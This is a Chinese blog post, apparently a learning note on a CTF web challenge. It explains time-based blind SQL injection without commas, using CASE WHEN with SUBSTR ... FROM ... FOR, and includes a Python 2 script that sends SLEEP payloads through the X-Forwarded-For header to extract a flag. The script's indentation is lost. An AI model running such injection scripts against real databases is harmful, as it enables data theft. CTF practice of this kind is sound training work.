美文网首页
一次基于时间注入学习的心得

一次基于时间注入学习的心得

作者: Sund4y | 来源:发表于2017-07-15 11:45 被阅读0次

    之前遇到延时注入不太理解就放过了,果然遇到的问题不解决就会在不久的将来就让你后悔没学习,好了,这是实验吧的一个题目http://ctf5.shiyanbar.com/web/wonderkun/index.php

    经过测试发现逗号后面的内容会被截断,那么注入的时候就不能用逗号了,看了大神的writeup之后决定做个笔记来记录基于时间注入的语句,首次在http://blog.csdn.net/bear_n/article/details/53057716
    这里看到了这样的语句,if(条件1,条件2,条件3)如果条件1成立就执行条件2,如果条件1不成立条件2成立就执行条件3,于是在注入时我们可以构造这样的语句if(((length database())>0),1,sleep(5)),当测试语句为真时立刻回显,为假时过5秒再回显,这样就可以为盲注提供依据了。这里过滤了单引号自然不能用这个语句了,但是方法总是多种多样的,

    第二个语法,select case when() then do else 1 end  这样就是如果条件成立就过5秒执行,否则直接执行,都是相同的道理啊,这样就避免了单引号的出现,于是有了下面的脚本(参考自http://www.jianshu.com/p/5d34b3722128)

    #coding:utf-8

    import requests

    import string

    s=requests.session()

    url="http://ctf5.shiyanbar.com/web/wonderkun/index.php"

    flag=''

    guess=string.lowercase+string.uppercase+string.digits

    for i in range(33):

    for st in guess:

    headers={"x-forwarded-for":"1'+"+"(select case when(substr((select flag from flag) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1" %(i,st)}

    try:

    res=s.get(url,headers=headers,timeout=4)

    except requests.exceptions.ReadTimeout:

    flag+=st

    print "flag:",flag

    break

    print "result:"+flag

    这里记录一下我的理解,guess里存放着大小写字母和数字,在when()里的substr用的是from %d for 1,和substr(xx,1,1)是一个道理,同样避免了单引号,在接下来是异常处理,设置超时时间为4秒,requests.exceptions.ReadTimeout:为捕获异常,当超过4秒时捕获,所以有了最后的flag

    相关文章

      网友评论

          本文标题:一次基于时间注入学习的心得

          本文链接:https://www.haomeiwen.com/subject/ywmahxtx.html